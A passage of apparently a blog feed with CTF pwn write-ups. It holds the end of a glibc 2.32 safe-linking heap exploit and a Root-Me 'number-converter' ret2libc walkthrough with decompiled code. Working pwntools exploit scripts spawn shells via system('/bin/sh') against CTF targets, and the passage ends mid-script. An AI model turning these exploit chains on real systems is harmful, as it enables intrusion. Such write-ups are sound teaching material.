    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"Index:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>

<span class="k">def</span> <span class="nf">decrypt</span><span class="p">(</span><span class="n">cipher</span><span class="p">):</span>
    <span class="n">key</span> <span class="o">=</span> <span class="mi">0</span>
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">6</span><span class="p">):</span>
        <span class="n">bits</span> <span class="o">=</span> <span class="mi">64</span> <span class="o">-</span> <span class="mi">12</span> <span class="o">*</span> <span class="n">i</span>
        <span class="k">if</span> <span class="n">bits</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">:</span>
            <span class="n">bits</span> <span class="o">=</span> <span class="mi">0</span>
        <span class="n">plain</span> <span class="o">=</span> <span class="p">((</span><span class="n">cipher</span> <span class="o">^</span> <span class="n">key</span><span class="p">)</span> <span class="o">&gt;&gt;</span> <span class="n">bits</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="n">bits</span>
        <span class="n">key</span> <span class="o">=</span> <span class="n">plain</span> <span class="o">&gt;&gt;</span> <span class="mi">12</span>
    <span class="k">return</span> <span class="n">plain</span>

<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
    <span class="n">add</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mh">0x428</span><span class="p">,</span> <span class="sa">b</span><span class="s">"A"</span><span class="o">*</span><span class="mi">8</span><span class="p">)</span>
    <span class="n">add</span><span class="p">(</span><span class="mi">1</span> <span class="p">,</span><span class="mh">0x18</span><span class="p">,</span> <span class="sa">b</span><span class="s">"B"</span><span class="o">*</span><span class="mi">8</span><span class="p">)</span>
    <span class="n">freeze</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
    <span class="n">free</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
    <span class="n">add</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mh">0x438</span><span class="p">,</span> <span class="sa">b</span><span class="s">"E"</span> <span class="o">*</span> <span class="mi">8</span><span class="p">)</span>
    <span class="n">show</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">())</span>
    <span class="k">print</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">())</span>
    <span class="n">libc_base</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">strip</span><span class="p">(</span><span class="sa">b</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">).</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span><span class="p">))</span> <span class="o">-</span> <span class="mh">0x1e3ff0</span>
    <span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">libc_base</span><span class="p">))</span>
    <span class="n">add</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="sa">b</span><span class="s">"X"</span> <span class="o">*</span> <span class="mi">8</span><span class="p">)</span>
    <span class="n">add</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="sa">b</span><span class="s">"Z"</span> <span class="o">*</span> <span class="mi">8</span><span class="p">)</span>
    <span class="n">add</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span> <span class="mh">0x18</span><span class="p">,</span> <span class="sa">b</span><span class="s">"/bin/sh</span><span class="se">\x00</span><span class="s">"</span><span class="p">)</span>
    <span class="n">free</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>
    <span class="n">free</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span>
    <span class="n">show</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">())</span>
    <span class="k">print</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">())</span>
    <span class="n">leak</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">strip</span><span class="p">(</span><span class="sa">b</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">).</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span><span class="p">))</span>
    <span class="n">heap_base</span> <span class="o">=</span> <span class="n">decrypt</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span> <span class="o">-</span><span class="mh">0x2d0</span><span class="c1">#- 0x6e0
</span>    <span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">heap_base</span><span class="p">))</span>
    <span class="n">system</span> <span class="o">=</span> <span class="n">libc_base</span> <span class="o">+</span> <span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">system</span>
    <span class="n">hook</span> <span class="o">=</span> <span class="n">libc_base</span> <span class="o">+</span> <span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">__free_hook</span>
    <span class="n">hook</span> <span class="o">=</span> <span class="n">alpha</span><span class="p">(</span><span class="n">heap_base</span><span class="p">,</span> <span class="n">hook</span><span class="p">)</span>
    <span class="n">edit</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="n">hook</span><span class="p">))</span>
    <span class="n">add</span><span class="p">(</span><span class="mi">6</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="sa">b</span><span class="s">"A"</span> <span class="o">*</span> <span class="mi">8</span><span class="p">)</span>
    <span class="n">add</span><span class="p">(</span><span class="mi">7</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="n">system</span><span class="p">))</span>
    <span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">main</span><span class="p">()</span>
</code></pre></div></div>

<p><strong>Gihub</strong> : https://github.com/retr0Rocks/CTF-Writeups/tree/main/Root-Me/Safe%20Linking
References:  <strong>https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/</strong></p>]]></content><author><name>Badreddine Chamkhi</name><email>chamkhi.badreddine@esprit.tn</email></author><category term="pwn" /><category term="safe-linking" /><category term="heap-exploitation" /><category term="tcache" /><summary type="html"><![CDATA[Summary This challenge have an UAF bug which occures when freeing a chunk is some way , but glibc version is 2.32 so we have to deal with Safe Linking by getting a heap leak.]]></summary></entry><entry><title type="html">PWN ROOT-ME CTF, RET2LIBC.</title><link href="http://localhost:4000/pwn-root-me-10kCTF-Number-Conversion/" rel="alternate" type="text/html" title="PWN ROOT-ME CTF, RET2LIBC." /><published>2022-10-26T00:00:00+01:00</published><updated>2022-10-26T00:00:00+01:00</updated><id>http://localhost:4000/pwn-root-me-10kCTF-Number-Conversion</id><content type="html" xml:base="http://localhost:4000/pwn-root-me-10kCTF-Number-Conversion/"><![CDATA[<p>This is a pwn challenge from <code class="language-plaintext highlighter-rouge">root-me 10k CTF</code> . Difficulty should be easy once we visualise our exploit flow.</p>

<h1 id="summary">Summary</h1>

<p>Abusing the fact that we can give negative indexes as input in the menu, we can leverage this primitive to adjust a call which looks like this <code class="language-plaintext highlighter-rouge">scanf("%s", &amp;choice)</code>. By achieving this, we can overflow the buffer that contains  the input number, which then goes for a classic <code class="language-plaintext highlighter-rouge">ret2libc attack</code>.</p>

<h1 id="static-analysis">Static Analysis</h1>
<p>We don’t have that much of functions to reverse, binary is not stripped, simple reversing.</p>

<h4 id="main-function">Main Function</h4>
<div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="kr">__cdecl</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">envp</span><span class="p">)</span>
<span class="p">{</span>
  <span class="kt">int</span> <span class="n">result</span><span class="p">;</span> <span class="c1">// eax</span>
  <span class="n">__int64</span> <span class="n">input_buffer</span><span class="p">;</span> <span class="c1">// [rsp+10h] [rbp-10h] BYREF</span>
  <span class="kt">char</span> <span class="n">v5</span><span class="p">;</span> <span class="c1">// [rsp+1Bh] [rbp-5h]</span>
  <span class="kt">int</span> <span class="n">choice</span><span class="p">;</span> <span class="c1">// [rsp+1Ch] [rbp-4h]</span>

  <span class="n">puts</span><span class="p">(</span><span class="s">"-= Number converter v0.2 =-"</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"login: "</span><span class="p">);</span>
  <span class="n">fgets</span><span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="mi">31</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span>
  <span class="n">username</span><span class="p">[</span><span class="n">strcspn</span><span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"password: "</span><span class="p">);</span>
  <span class="n">fgets</span><span class="p">(</span><span class="n">password</span><span class="p">,</span> <span class="mi">31</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span>
  <span class="n">password</span><span class="p">[</span><span class="n">strcspn</span><span class="p">(</span><span class="n">password</span><span class="p">,</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="k">if</span> <span class="p">(</span> <span class="n">check_login</span><span class="p">()</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"Login success !"</span><span class="p">);</span>
    <span class="k">while</span> <span class="p">(</span> <span class="mi">1</span> <span class="p">)</span>
    <span class="p">{</span>
      <span class="n">choice</span> <span class="o">=</span> <span class="n">menu</span><span class="p">();</span>
      <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">choice</span> <span class="p">)</span>
        <span class="k">break</span><span class="p">;</span>
      <span class="k">if</span> <span class="p">(</span> <span class="n">choice</span> <span class="o">&lt;=</span> <span class="mi">3</span> <span class="p">)</span>
      <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"Input number: "</span><span class="p">);</span>
        <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="n">formatters</span><span class="p">[</span><span class="n">choice</span> <span class="o">-</span> <span class="mi">1</span><span class="p">],</span> <span class="o">&amp;</span><span class="n">input_buffer</span><span class="p">);</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"Converted: %lu</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">input_buffer</span><span class="p">);</span>
        <span class="k">do</span>
          <span class="n">v5</span> <span class="o">=</span> <span class="n">getchar</span><span class="p">();</span>
        <span class="k">while</span> <span class="p">(</span> <span class="n">v5</span> <span class="o">!=</span> <span class="sc">'\n'</span> <span class="o">&amp;&amp;</span> <span class="n">v5</span> <span class="o">!=</span> <span class="p">(</span><span class="kt">char</span><span class="p">)</span><span class="sc">'\xFF'</span> <span class="p">);</span>
      <span class="p">}</span>
      <span class="k">else</span>
      <span class="p">{</span>
        <span class="n">puts</span><span class="p">(</span><span class="s">"Invalid choice!"</span><span class="p">);</span>
      <span class="p">}</span>
    <span class="p">}</span>
    <span class="n">result</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">else</span>
  <span class="p">{</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"Invalid credentials!"</span><span class="p">);</span>
    <span class="n">result</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>First we are attempted with a login prompt which asks for a <code class="language-plaintext highlighter-rouge">login</code> and a <code class="language-plaintext highlighter-rouge">password</code>, we can obtain the <code class="language-plaintext highlighter-rouge">login</code>  and the <code class="language-plaintext highlighter-rouge">password</code> from the <code class="language-plaintext highlighter-rouge">check_login()</code> function which it’s pseudocode goes like that :</p>

<div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">_BOOL8</span> <span class="nf">check_login</span><span class="p">()</span>
<span class="p">{</span>
  <span class="k">return</span> <span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="s">"admin"</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">password</span><span class="p">,</span> <span class="s">"sup3rus3r"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>easy as pie , we got the necessary creds to pass the first prompt.</p>

<p><code class="language-plaintext highlighter-rouge">login</code> -&gt;<strong>admin</strong>
<code class="language-plaintext highlighter-rouge">password</code> -&gt; <strong>sup3ru3r</strong></p>

<p>so passing this prompt looks like it gives us a menu to choose from which goes likes that</p>
<div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__int64</span> <span class="nf">menu</span><span class="p">()</span>
<span class="p">{</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"Input type: "</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"1. Decimal"</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"2. Hexadecimal"</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"3. Octal"</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"0. Exit"</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"&gt; "</span><span class="p">);</span>
  <span class="k">return</span> <span class="n">read_int</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div></div>
<p><strong>Original chain flow of program</strong> :</p>
<ol>
  <li>Logging in.</li>
  <li>Input a number.</li>
  <li>Choose a type from the menu and it displays your input number with the new type.</li>
</ol>

<p>Our first bug lays here. an <code class="language-plaintext highlighter-rouge">out-of-bound</code> “read” in the <code class="language-plaintext highlighter-rouge">formatters</code> array. <code class="language-plaintext highlighter-rouge">choice</code> variable is of type int , the check on the given choice checks if <code class="language-plaintext highlighter-rouge">choice</code> doesn’t exceed 3 which is the total choices in th given menu. So now we kinda have a little control on the format specifier given to <code class="language-plaintext highlighter-rouge">scanf</code> .
huh ? <code class="language-plaintext highlighter-rouge">scanf</code> getting it’s format specifier from an array of pointers ? looks a little bit sus.
dynamic analysis will give us the right answer.</p>

<h1 id="dynamic-analysis">Dynamic Analysis</h1>
<p>firing up the binary in gdb and trying to inpect where the given <code class="language-plaintext highlighter-rouge">username</code> and <code class="language-plaintext highlighter-rouge">password</code> is stored in.
<img src="https://github.com/retr0Rocks/retr0rocks.github.io/blob/master/_posts/pwn-root-me-ctf10k/1.PNG?raw=true" alt="1.png" />
Bingo , we have something in the mind now,  we can access memory before <code class="language-plaintext highlighter-rouge">formatters</code> address, also by this inspection we conclude that we also have control about what comes before <code class="language-plaintext highlighter-rouge">formatters</code>.
how this work ?
let’s try giving normal inputs to the binary and check this area again.</p>

<p><img src="https://github.com/retr0Rocks/retr0rocks.github.io/blob/master/_posts/pwn-root-me-ctf10k/2.PNG?raw=true" alt="2.png" /></p>

<p><img src="https://github.com/retr0Rocks/retr0rocks.github.io/blob/master/_posts/pwn-root-me-ctf10k/3.PNG?raw=true" alt="3.png" /></p>

<p>looks nice <code class="language-plaintext highlighter-rouge">password+16</code> and <code class="language-plaintext highlighter-rouge">password + 24</code> are free so we can use it freely.</p>

<h1 id="exploitation">Exploitation</h1>
<h4 id="theory">Theory</h4>

<p>I tried in <strong>Static and Dynamic analysis</strong> to give the first nudge to understand the buf the occures in the binary, if you are following , by now you should be able to think of an exploitation path.
by passing the <code class="language-plaintext highlighter-rouge">%s</code> format specifier to  <code class="language-plaintext highlighter-rouge">scanf</code> we can trigger a buffer overflow.</p>

<h6 id="little-visualization-how-the-layout-should-be-when-exploiting">Little visualization how the layout should be when exploiting</h6>

<p><img src="https://github.com/retr0Rocks/retr0rocks.github.io/blob/master/_posts/pwn-root-me-ctf10k/3_1.PNG?raw=true" alt="3_1.png" /></p>

<h4 id="practical">Practical</h4>
<p>let’s write a simple python script that implements the theory we discussed earlier.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s">"./number-converter"</span><span class="p">)</span>
<span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./number-converter"</span><span class="p">,</span> <span class="n">checksec</span> <span class="o">=</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./libc-2.31.so"</span><span class="p">,</span> <span class="n">checksec</span> <span class="o">=</span> <span class="mi">0</span><span class="p">)</span>

<span class="n">user</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"admin"</span>

<span class="n">password</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"sup3rus3r"</span>
<span class="n">password</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span>
<span class="n">password</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="o">*</span> <span class="mi">6</span>
<span class="n">password</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4040d8</span><span class="p">)</span> <span class="c1">#password + 16
</span><span class="n">password</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"%s"</span>
<span class="n">password</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="o">*</span> <span class="mi">3</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">user</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">password</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<p>( I switched to my VM for easier debugging.)</p>

<p><img src="https://github.com/retr0Rocks/retr0rocks.github.io/blob/master/_posts/pwn-root-me-ctf10k/4.PNG?raw=true" alt="4.png" /></p>

<p>Now , we successfully prepared the layout for the exploitation.</p>

<p><img src="https://github.com/retr0Rocks/retr0rocks.github.io/blob/master/_posts/pwn-root-me-ctf10k/5.PNG?raw=true" alt="5.png" /></p>

<p>giving <code class="language-plaintext highlighter-rouge">-1</code> as the choice in the menu, we now accessed the format specifier in the <code class="language-plaintext highlighter-rouge">formatters[-2]</code> which is the pointer <code class="language-plaintext highlighter-rouge">0x4040d8</code> that points on <code class="language-plaintext highlighter-rouge">%s</code>. Giving a large input nothing happens, since we are in a while loop we need just to break out of it.</p>
<div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        <span class="k">do</span>
          <span class="n">v5</span> <span class="o">=</span> <span class="n">getchar</span><span class="p">();</span>
        <span class="k">while</span> <span class="p">(</span> <span class="n">v5</span> <span class="o">!=</span> <span class="sc">'\n'</span> <span class="o">&amp;&amp;</span> <span class="n">v5</span> <span class="o">!=</span> <span class="p">(</span><span class="kt">char</span><span class="p">)</span><span class="sc">'\xFF'</span> <span class="p">);</span>
</code></pre></div></div>
<p>as the code do , we just give it a new line so it breaks.</p>

<p><img src="https://github.com/retr0Rocks/retr0rocks.github.io/blob/master/_posts/pwn-root-me-ctf10k/6.PNG?raw=true" alt="6.png" /></p>

<p>now the program broke , we have a sigsev. clear ret2libc attack.
I am going to go brief on the last exploitation phase since it’s a classic attack.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"A"</span> <span class="o">*</span> <span class="mi">24</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">rdi</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">elf</span><span class="p">.</span><span class="n">got</span><span class="p">.</span><span class="n">puts</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">elf</span><span class="p">.</span><span class="n">plt</span><span class="p">.</span><span class="n">puts</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">elf</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">main</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">""</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"&gt; "</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"&gt; "</span><span class="p">)</span>
<span class="n">libc_leak</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">strip</span><span class="p">(</span><span class="sa">b</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">).</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span><span class="p">))</span> <span class="o">-</span> <span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">puts</span>
<span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">libc_leak</span><span class="p">))</span>

</code></pre></div></div>
<p>i grabbed <code class="language-plaintext highlighter-rouge">pop rdi;ret</code> gadget from <code class="language-plaintext highlighter-rouge">ropper</code> (ROPgadget works as well).
the offset to overwrite instruction pointer can be obtained using <code class="language-plaintext highlighter-rouge">gdb</code>
i used the got entry of puts to leak a libc address.</p>

<p><img src="https://github.com/retr0Rocks/retr0rocks.github.io/blob/master/_posts/pwn-root-me-ctf10k/7.PNG?raw=true" alt="7.png" /></p>

<p>libc leak successfull.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">system</span> <span class="o">=</span> <span class="n">libc_leak</span> <span class="o">+</span> <span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">system</span>
<span class="n">binsh</span> <span class="o">=</span> <span class="n">libc_leak</span> <span class="o">+</span> <span class="nb">next</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="sa">b</span><span class="s">"/bin/sh</span><span class="se">\x00</span><span class="s">"</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">system</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">binsh</span><span class="p">))</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"login: "</span><span class="p">,</span><span class="n">user</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"password: "</span><span class="p">,</span> <span class="n">password</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"-1"</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"A"</span> <span class="o">*</span> <span class="mi">24</span> <span class="o">+</span> <span class="n">rdi</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">binsh</span><span class="p">)</span>  <span class="o">+</span> <span class="n">ret</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">system</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</code></pre></div></div>
<p>calculating <code class="language-plaintext highlighter-rouge">system</code> and <code class="language-plaintext highlighter-rouge">/bin/sh</code> addresses. then sending it.
NB: i jumped to <code class="language-plaintext highlighter-rouge">system + 4</code> since whren trying to jump in <code class="language-plaintext highlighter-rouge">system</code> the program broke so i had to increment a little bit so i jump inside the function.</p>

<p><img src="https://github.com/retr0Rocks/retr0rocks.github.io/blob/master/_posts/pwn-root-me-ctf10k/8.PNG?raw=true" alt="8.png" /></p>

<p>and voila, solved.</p>
<h1 id="final-exploit">Final Exploit</h1>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"ctf10k.root-me.org"</span><span class="p">,</span> <span class="mi">5006</span><span class="p">)</span>
<span class="c1">#p = process("./number-converter")
</span><span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./number-converter"</span><span class="p">,</span> <span class="n">checksec</span> <span class="o">=</span> <span class="mi">0</span><span class="p">)</span>
<span class="c1">#libc = elf.libc
</span><span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./libc-2.31.so"</span><span class="p">,</span> <span class="n">checksec</span> <span class="o">=</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">ret</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x000000000040101a</span><span class="p">)</span>
<span class="n">rdi</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x0000000000401583</span><span class="p">)</span>
<span class="n">user</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"admin"</span>
<span class="n">password</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"sup3rus3r"</span>
<span class="n">password</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span>
<span class="n">password</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="o">*</span> <span class="mi">6</span>
<span class="n">password</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4040d8</span><span class="p">)</span> <span class="c1">#password + 16
</span><span class="n">password</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"%s"</span>
<span class="n">password</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="o">*</span> <span class="mi">3</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"login: "</span><span class="p">,</span> <span class="n">user</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"password: "</span><span class="p">,</span> <span class="n">password</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"-1"</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"A"</span> <span class="o">*</span> <span class="mi">24</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">rdi</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">elf</span><span class="p">.</span><span class="n">got</span><span class="p">.</span><span class="n">puts</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">elf</span><span class="p">.</span><span class="n">plt</span><span class="p">.</span><span class="n">puts</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">elf</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">main</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">""</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"&gt; "</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"&gt; "</span><span class="p">)</span>
